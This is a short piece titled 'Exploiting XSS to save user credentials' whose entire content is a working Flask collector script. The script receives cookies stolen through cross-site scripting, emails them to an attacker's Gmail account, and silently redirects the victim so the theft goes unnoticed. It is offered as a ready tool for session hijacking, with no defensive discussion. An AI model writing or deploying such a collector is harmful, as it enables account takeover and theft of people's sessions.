Exploiting XSS to save user credentials

save_session.py

import smtplib

from flask import Flask
from flask import request, redirect
app = Flask(__name__)


SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
 
sender = 'xxx@gmail.com'
recipient = 'xxx@gmail.com'
subject = 'Got cookies yummy'
 
 
headers = ["From: " + sender,
           "Subject: " + subject,
           "To: " + recipient,
           "MIME-Version: 1.0",
           "Content-Type: text/html"]
headers = "\r\n".join(headers)
 

def send_email(body):
    session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)

    session.ehlo()
    session.starttls()
    session.ehlo
    session.login(sender, "xxxxx")

    session.sendmail(sender, recipient, headers + "\r\n\r\n" + body)
    session.quit()


@app.route("/", methods=['GET'])
def index():
    cookies = request.args.get('cookies', '')
    next = request.args.get('next', '')
    next = next + "&redirected=1"
    send_email(cookies)
    return redirect(next)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)